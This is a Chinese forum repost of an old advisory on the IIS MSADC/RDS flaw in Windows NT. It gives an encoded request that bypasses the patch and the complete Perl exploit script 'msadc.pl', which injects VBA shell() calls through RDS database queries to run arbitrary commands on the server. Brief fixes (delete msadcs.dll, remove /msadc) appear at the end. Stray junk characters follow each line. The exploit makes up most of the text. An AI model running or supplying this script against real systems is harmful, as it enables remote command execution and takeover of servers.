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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) r/UYC"K3  
J y]FrSm^  
涉及程序: 7ZS>1  
Microsoft NT server =jJ H^Y2  
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描述: ;):8yBMk  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 L_tjcfVo  
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详细: 9k+N3vA  
如果你没有时间读详细内容的话,就删除: "sFW~Y  
c:\Program Files\Common Files\System\Msadc\msadcs.dll mZ`1JO9  
有关的安全问题就没有了。 L@7Qs6G2u  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 _L$)2sl1R  
v*&Uk '4E  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Vh 2Bz  
关于利用ODBC远程漏洞的描述,请参看: k%{ l4  
/6Y0q9  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm R ^HohB  
77+| #< J  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 /uK)rG F  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Bs_S.JP<`  
KjO-0VMN3  
这里不再论述。 gsnP!2cR  
*6NO-T; -  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: A;odVaH7  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 5iP8D<;o5  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! bBA$}bv  
J2rvJ2l=t  
j%#?m2J}  
#将下面这段保存为txt文件,然后: "perl -x 文件名" P;j&kuW|zL  
:lgHL3yl  
#!perl EC<5M5Lc  
# q_-ma_F#s  
# MSADC/RDS 'usage' (aka exploit) script -<8B,  
# ]PeLcB  
# by rain.forest.puppy ^&C&~}Zv  
# uK"^*NEC';  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me -oU@D  
# beta test and find errors! Hr(6TLNw  
| @uq()  
use Socket; use Getopt::Std; DYc.to-  
getopts("e:vd:h:XR", \%args); 9~=gwP  
1Wv{xML"  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; #]@9qPyn  
cZ^wQ5=  
if (!defined $args{h} && !defined $args{R}) { lco~X DI  
print qq~ ^SEc./$  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Tj Mb>w9  
-h <host> = host you want to scan (ip or domain) DG3[^B  
-d <seconds> = delay between calls, default 1 second D`en%Lf!m  
-X = dump Index Server path table, if available |pBMrN+is  
-v = verbose 5f8"j$Az  
-e = external dictionary file for step 5 a|U}Ammr  
6*sw,sU[y  
Or a -R will resume a command session q1H~ |1  
-RGPt D@  
~; exit;} FQ U\0<5  
g`kY]lu  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; i[PvDv"n  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} mU50pM~/i  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 5bXHz5i  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); r)Or\HL  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} `Uv)Sf{  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } DTPay1]6  
8}bZ [  
if (!defined $args{R}){ $ret = &has_msadc; Hc M~  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} J6DnPaw-G  
+)zDA:2Wa"  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" I|Z/`9T  
. "cmd /c "; Np$z%ewK.  
$in=<STDIN>; chomp $in; 6eM6[  
$command="cmd /c " . $in ; #^Ys{  
p<q].^M  
if (defined $args{R}) {&load; exit;} AfN&n= d K  
,6DD=w0r  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; u %'y_C3  
&try_btcustmr;  QGXQ{  
o_sQQF  
print "\nStep 2: Trying to make our own DSN..."; y86))  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; l^ARW E  
\9'!"-i  
print "\nStep 3: Trying known DSNs..."; 6p#g0t  
&known_dsn; I'dj.  
+GYS26  
print "\nStep 4: Trying known .mdbs..."; W+.{4 K  
&known_mdb; te)n{K",  
8`*`nQhWa  
if (defined $args{e}){ H/^B.5RYE>  
print "\nStep 5: Trying dictionary of DSN names..."; BMdSf(l  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 6ga5^6W  
kff ZElV  
print "Sorry Charley...maybe next time?\n"; BY$[g13  
exit; <FQFv IKg  
yQ'eu;+]  
############################################################################## ;@9e\!%  
G)8ChnJa!m  
sub sendraw { # ripped and modded from whisker qJ 95  
sleep($delay); # it's a DoS on the server! At least on mine... BMpF02Y|4  
my ($pstr)=@_; M'DWu|dIBA  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || sXiv,  
die("Socket problems\n"); Xk?R mU6  
if(connect(S,pack "SnA4x8",2,80,$target)){ e{0L%%2K  
select(S); $|=1; y+A{Y  
print $pstr; my @in=<S>; tfA}`*$s  
select(STDOUT); close(S); c yP,[?N  
return @in; H'Ln P>@n#  
} else { die("Can't connect...\n"); }} 8bt53ta  
}a^|L"  
############################################################################## 9#Bx]wy  
(')(d HHW  
sub make_header { # make the HTTP request 8aZ$5^z  
my $msadc=<<EOT h8jB=e, H  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 +}U2@03I  
User-Agent: ACTIVEDATA Ny^'IUu  
Host: $ip ~r&D6Y  
Content-Length: $clen iV!@bC,  
Connection: Keep-Alive vr4O8#  
;%W dvnW  
ADCClientVersion:01.06 N xFUO0O3  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ) "[HZ/  
(i]Z|@|)  
--!ADM!ROX!YOUR!WORLD! T9?54r  
Content-Type: application/x-varg 3 z=\ .R  
Content-Length: $reqlen =JW[pRI5a  
AWT"Y4Ie  
EOT  &{ZSE^  
; $msadc=~s/\n/\r\n/g; 4jGLAor|  
return $msadc;} B)6#Lp3  
NI.`mc6X d  
############################################################################## {fU?idY)c  
*T1~)z}j<  
sub make_req { # make the RDS request y(}Eko4u5  
my ($switch, $p1, $p2)=@_; \2 >?6zs  
my $req=""; my $t1, $t2, $query, $dsn; _=EZ `!%  
h>klTPM>  
if ($switch==1){ # this is the btcustmr.mdb query @VK6JjIq  
$query="Select * from Customers where City=" . make_shell(); Vo M6  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . /c#l9&,  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ! Mo`^ t  
LG&5VxT=,<  
elsif ($switch==2){ # this is general make table query TBnvV 5_  
$query="create table AZZ (B int, C varchar(10))"; ;& |qSa'  
$dsn="$p1";} MM gx|"  
2+:'0Krc  
elsif ($switch==3){ # this is general exploit table query C ) ?uE'  
$query="select * from AZZ where C=" . make_shell(); mxp Y&Y  
$dsn="$p1";} yFjVKp'P  
|dk[cX>  
elsif ($switch==4){ # attempt to hork file info from index server 8W -@N  
$query="select path from scope()"; H^ BYd%-  
$dsn="Provider=MSIDXS;";} xA #H0?a]  
k':s =IXW  
elsif ($switch==5){ # bad query 6t7fa<  
$query="select"; vq>l>as9O  
$dsn="$p1";} b\giJ1NJB  
;LQ9#M?  
$t1= make_unicode($query); CGZ^hoh/  
$t2= make_unicode($dsn); opD-vDa h  
$req = "\x02\x00\x03\x00"; bX2"89{  
$req.= "\x08\x00" . pack ("S1", length($t1)); L/i(KF{  
$req.= "\x00\x00" . $t1 ; eFFc9'o  
$req.= "\x08\x00" . pack ("S1", length($t2)); 6Dst;:  
$req.= "\x00\x00" . $t2 ; r~>,$[|n})  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 6I>^Pf'ND  
return $req;} /g76Hw>H  
QDE$E.a  
############################################################################## !d8A  
@G*.1;jO  
sub make_shell { # this makes the shell() statement MhxDV d  
return "'|shell(\"$command\")|'";} c AEokP  
au$"B/  
############################################################################## AVFjBybu9  
J@]k%h  
sub make_unicode { # quick little function to convert to unicode ;Z9IZ~  
my ($in)=@_; my $out; cp%ii'  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ;GOz>pg  
return $out;} NY!jwb@%  
0+`Pg  
############################################################################## hO( RZ '{  
*||d\peQ  
sub rdo_success { # checks for RDO return success (this is kludge) g_z/{1$  
my (@in) = @_; my $base=content_start(@in); /S~m)$vu  
if($in[$base]=~/multipart\/mixed/){ A,#2^dR  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} SaO3 zz@L  
return 0;} {rXs:N@  
E FY@Y[  
############################################################################## o8ppMM8_R[  
XUS vhr$|  
sub make_dsn { # this makes a DSN for us ^E,1V5  
my @drives=("c","d","e","f"); O3qM1-k}S  
print "\nMaking DSN: "; > 0.W`j(s  
foreach $drive (@drives) { dR+1aY;  
print "$drive: "; j*3}1L4P  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . sbS~N*{E  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Ns=AjhLc z  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ZnfNQl[  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; +iA=y=;blH  
return 0 if $2 eq "404"; # not found/doesn't exist NXU`wnVJ  
if($2 eq "200") { aE/D*.0NI  
foreach $line (@results) { *e/K:k  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} T3pdx~66  
} return 0;} |B^G:7c  
Vmi{X b]<  
############################################################################## 9 wh2f7k  
YRcps0Dx9  
sub verify_exists { L*]0"E  
my ($page)=@_; Xy7Z38G  
my @results=sendraw("GET $page HTTP/1.0\n\n"); vAi$ [p*im  
return $results[0];} *>."V5{;S  
ax|1b`XUr"  
############################################################################## n]N96oD  
Zj VWxQ  
sub try_btcustmr { (OmH~lSO.  
my @drives=("c","d","e","f"); 9[Qd)%MO  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ~?U*6P)o  
0X9Y~TM%  
foreach $dir (@dirs) { SEd5)0X^  
print "$dir -> "; # fun status so you can see progress ^gYD*K!*  
foreach $drive (@drives) { CxF-Z7 '  
print "$drive: "; # ditto ~cqryr9  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; _[K#O,D,  
$reqlenlen=length( "$reqlen" ); z`U Ukl}T  
$clen= 206 + $reqlenlen + $reqlen; c`G&KCw)d  
;3m!:l  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); i8PuC^]  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Qa`hR  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ^b-18 ~s  
tIuoD+AW  
############################################################################## nII^mg~  
%y<]Yzv.  
sub odbc_error { jirbUl  
my (@in)=@_; my $base; $_X|, v9  
my $base = content_start(@in); 23ze/;6%A  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this \2kPq>hu  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; x\@*6 0o  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; <J{'o`{  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; N "Wqy  
return $in[$base+4].$in[$base+5].$in[$base+6];} Hs(D/&6%  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; .v\\Tq&"|  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ~;#MpG;e  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} {nMAm/kyj  
Es'Um,ku  
############################################################################## XFqJ 'R  
'0t-]NAc  
sub verbose { [aqu }Su  
my ($in)=@_; }e]f  
return if !$verbose; 39TT{>?`w  
print STDOUT "\n$in\n";} O'DW5hBL0  
uCP>y6I  
############################################################################## rrBAQY|.  
Mz=!w]qDH  
sub save { HOi C  
my ($p1, $p2, $p3, $p4)=@_; \\4Eh2 Y  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; A74920X`W  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ,|T7hTn=  
close OUT;} -yx/7B5@  
nU z7|y  
############################################################################## NgZUnh3{  
!<\Br  
sub load { v"Jgw;3  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 5OP`c<  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); pW?& J>\6  
@p=<IN>; close(IN); .[s2zI  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); qE7R4>5xjO  
$target= inet_aton($ip) || die("inet_aton problems"); f4('gl9  
print "Resuming to $ip ..."; ^U  q  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; oFC)  
if($p[1]==1) { \5><3*\  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 8v92N g7  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; &tI#T)SSs  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); k|E]YvnfG  
if (rdo_success(@results)){print "Success!\n";} 0ZI(/r  
else { print "failed\n"; verbose(odbc_error(@results));}} !~iGu\y  
elsif ($p[1]==3){ 7C,T&g 1:  
if(run_query("$p[3]")){ IB5BO7J  
print "Success!\n";} else { print "failed\n"; }} ;N=G=X|}  
elsif ($p[1]==4){ n!ok?=(kQ  
if(run_query($drvst . "$p[3]")){ SZ!=`a]  
print "Success!\n"; } else { print "failed\n"; }} I9y.e++/  
exit;} 3I=kr  
XhW %,/<  
############################################################################## M8;lLcgu.  
=U-r*sGLN  
sub create_table { _}Ps(_5D  
my ($in)=@_; oQ2KW..q  
$reqlen=length( make_req(2,$in,"") ) - 28; 7"v$- Wy  
$reqlenlen=length( "$reqlen" ); -w 6 "?  
$clen= 206 + $reqlenlen + $reqlen; yJ2B3i@T 4  
my @results=sendraw(make_header() . make_req(2,$in,"")); 4&X*pL2;  
return 1 if rdo_success(@results); g /+oZU  
my $temp= odbc_error(@results); verbose($temp); WE!vSZ3R  
return 1 if $temp=~/Table 'AZZ' already exists/; Ca>&  
return 0;} vK'?:}~  
":W%,`@$  
############################################################################## GH4iuPh]  
!.X.tc  
sub known_dsn { )@g;j>  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 2XSHZ|;  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", e$/B_o7(  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",  u\e\'\  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); zA+@FR?  
!]?$f=  
foreach $dSn (@dsns) { P\R27Jd  
print "."; g@v s*xE  
next if (!is_access("DSN=$dSn")); fP-|+Ty O  
if(create_table("DSN=$dSn")){ A}VYb:u/  
print "$dSn successful\n"; 8HErE< _(  
if(run_query("DSN=$dSn")){ %@J1]E;  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { "5|Lz)=  
print "Something's borked. Use verbose next time\n";}}} print "\n";} #Z!b G?="  
uQ Co6"e  
############################################################################## vA%^`5  
\F6LZZ2Lv  
sub is_access { j|_E$L A\  
my ($in)=@_; l}g;'9ZB  
$reqlen=length( make_req(5,$in,"") ) - 28; (k"_># %  
$reqlenlen=length( "$reqlen" ); )LHj+B  
$clen= 206 + $reqlenlen + $reqlen; h#}YKWL  
my @results=sendraw(make_header() . make_req(5,$in,"")); arZ@3]X%a  
my $temp= odbc_error(@results); ,TC;{ $O5  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); x8#ODuH  
return 0;} SAv<&  
`k{& /]  
############################################################################## 7,$z;Lr0S  
]`=X'fED  
sub run_query { ] Uc`J8p,  
my ($in)=@_; S01wwZ  
$reqlen=length( make_req(3,$in,"") ) - 28; N=1JhjVk"  
$reqlenlen=length( "$reqlen" ); tykB.2f  
$clen= 206 + $reqlenlen + $reqlen; FH5ql~  
my @results=sendraw(make_header() . make_req(3,$in,"")); .m4;^S2cO  
return 1 if rdo_success(@results); [w \?j,  
my $temp= odbc_error(@results); verbose($temp); f|7u_f  
return 0;} T=Z.U$  
M^madx6`  
############################################################################## _GtBP'iN  
# '|'r+  
sub known_mdb { 9ptFG]lZ  
my @drives=("c","d","e","f","g"); '_0]vupvY  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ?(zoTxD  
my $dir, $drive, $mdb; Vy)hDa[&  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; !sSQQo2Sv  
N+W&NlZ   
# this is sparse, because I don't know of many ~|+zJ5  
my @sysmdbs=( "\\catroot\\icatalog.mdb", !>^JSHR4t  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", E_ucab-Fi  
"\\system32\\certmdb.mdb", |Rzy8j*  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% vP-M,4c  
2(YPz|~W  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", rw%l*xgX  
"\\cfusion\\cfapps\\forums\\forums_.mdb", !$qKb_#nC  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", |FR3w0o  
"\\cfusion\\cfapps\\security\\realm_.mdb", Ju` [m  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", kAzd8nJ'  
"\\cfusion\\database\\cfexamples.mdb", } /^C|iS7  
"\\cfusion\\database\\cfsnippets.mdb",  q" @  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", `cB_.&  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 748CD{KxW  
"\\cfusion\\brighttiger\\database\\cleam.mdb", uZ6d35MJ  
"\\cfusion\\database\\smpolicy.mdb", /'DwfX  
"\\cfusion\\database\cypress.mdb", V~{ _3YY  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ,K9f_bv  
"\\website\\cgi-win\\dbsample.mdb", t` ^ Vb-  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ,Fqz e/  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" d}I (`%%)  
); #these are just #&!G"x7  
foreach $drive (@drives) { ,2[ra9n  
foreach $dir (@dirs){ ?[)S7\rP  
foreach $mdb (@sysmdbs) { r8MZvm2  
print "."; /i|z.nNO  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ jk~:\8M(A  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; !mfJpJ  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ dx_6X!=.J  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Bo_ym36N  
} else { print "Something's borked. Use verbose next time\n"; }}}}} j0-McLc  
{OMg d3%14  
foreach $drive (@drives) { FcbM7/  
foreach $mdb (@mdbs) { %kI} [6J_  
print "."; w2gf&Lc\  
if(create_table($drv . $drive . $dir . $mdb)){ [pOg'  
print "\n" . $drive . $dir . $mdb . " successful\n"; h+7>#*DH  
if(run_query($drv . $drive . $dir . $mdb)){ **_&i!dtL  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ")#<y@Rv  
} else { print "Something's borked. Use verbose next time\n"; }}}} ak:v3cQR  
} /ONV5IkPy  
:Waox"#=g  
############################################################################## "&YYO#YO  
l3i,K^YL  
sub hork_idx { ]n1dp2aH  
print "\nAttempting to dump Index Server tables...\n"; L-i>R:N4  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ]5CNk+`'  
$reqlen=length( make_req(4,"","") ) - 28; y f1CXldi  
$reqlenlen=length( "$reqlen" ); ;1AG3P'  
$clen= 206 + $reqlenlen + $reqlen; EYS>0Y  
my @results=sendraw2(make_header() . make_req(4,"","")); ]L_w$ev'  
if (rdo_success(@results)){ pR o s{Uq"  
my $max=@results; my $c; my %d; `|e!Kq?#Q  
for($c=19; $c<$max; $c++){ IfdI|ya  
$results[$c]=~s/\x00//g; d 4{FDqto  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; &&8'0 .M{  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; M7}Q=q\9  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; |!z2oO  
$d{"$1$2"}="";} cL7g}$W $  
foreach $c (keys %d){ print "$c\n"; } aC=['a>)  
} else {print "Index server doesn't seem to be installed.\n"; }} TvhJVVQ+?  
N0TeqOi4Y  
############################################################################## Ibr%d2yS=  
8Cf|*C+_'  
sub dsn_dict { ?2J?XS>  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); x!TZ0fq0  
while(<IN>){ !AN^ ,v]D  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; H -t|i  
next if (!is_access("DSN=$dSn")); +",S2Qmo  
if(create_table("DSN=$dSn")){ {5Lj8 N5  
print "$dSn successful\n"; 6.Ie\5-a;  
if(run_query("DSN=$dSn")){ U..<iNQE5  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { [IX+M#mf  
print "Something's borked. Use verbose next time\n";}}} `H%G3M0a  
print "\n"; close(IN);} :Hy]  
n~0z_;5  
############################################################################## ZXiRw)rM  
OYwGz  
sub sendraw2 { # ripped and modded from whisker /="HqBI#i  
sleep($delay); # it's a DoS on the server! At least on mine... D9ufoa&ua  
my ($pstr)=@_; cSD{$B:  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 93%{scrm  
die("Socket problems\n"); <-C!;Ce{  
if(connect(S,pack "SnA4x8",2,80,$target)){ BNm4k7 ]M  
print "Connected. Getting data"; 7ET jn)%bs  
open(OUT,">raw.out"); my @in; %IZ)3x3l  
select(S); $|=1; print $pstr; l[h'6+o  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} .-I|DVHe  
close(OUT); select(STDOUT); close(S); return @in; n2-0.Er  
} else { die("Can't connect...\n"); }} #*$p-I=  
 !rL<5L  
############################################################################## kEN#u  
%CH6lY=lI  
sub content_start { # this will take in the server headers ]?l{j  
my (@in)=@_; my $c; Q\_{d0 0  
for ($c=1;$c<500;$c++) { [[L-j q.'  
if($in[$c] =~/^\x0d\x0a/){ :R6Q=g=  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } F4I6P  
else { return $c+1; }}} #;r]/)>  
return -1;} # it should never get here actually 0&w0a P`Y  
}p3b#fAr  
############################################################################## rzLd"`  
gSi5u# }J  
sub funky { HMQI&Lh=U  
my (@in)=@_; my $error=odbc_error(@in); ZW4aY}~)$  
if($error=~/ADO could not find the specified provider/){ }uO5q42  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ]KK`5Dv|,e  
exit;} I."p  
if($error=~/A Handler is required/){ U@lV  
print "\nServer has custom handler filters (they most likely are patched)\n"; Di(9]: +  
exit;} :b#%C pR  
if($error=~/specified Handler has denied Access/){ i.a _C'<$  
print "\nServer has custom handler filters (they most likely are patched)\n"; 7nE"F!d+0  
exit;}} `u'dh{,gE  
D_D,t8_Y  
############################################################################## /XpSe<3  
C3;[e0.1b  
sub has_msadc { UZxmh sv  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); h[Tk; h  
my $base=content_start(@results); ] f 7#N  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/);  -;c  
return 0;} gQVBA %  
e1(h</MU2  
######################## RXSf,O  
__N.#c/l{  
!vqC+o>@  
解决方案: Jbw!:x [  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll HkjEiU  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 "dCzWFet  
Xa,&ef&q  
拿出来充数 哈哈
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